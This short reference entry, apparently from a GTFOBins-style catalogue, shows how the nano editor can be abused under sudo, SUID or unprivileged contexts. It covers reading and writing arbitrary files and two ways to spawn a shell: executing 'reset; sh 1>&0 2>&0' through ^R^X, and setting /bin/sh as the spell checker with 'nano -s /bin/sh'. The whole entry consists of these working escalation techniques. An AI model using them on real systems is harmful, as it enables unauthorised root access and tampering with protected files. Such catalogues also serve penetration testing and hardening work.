nano

File Read

Context: sudo, suid, unprivileged

nano /path/to/input-file

File Write

Context: sudo, suid, unprivileged

nano /path/to/output-file
DATA
^O

Shell

Context: sudo, suid, unprivileged

nano
^R^X
reset; sh 1>&0 2>&0

Context: sudo, suid, unprivileged

nano -s /bin/sh
/bin/sh
^T^T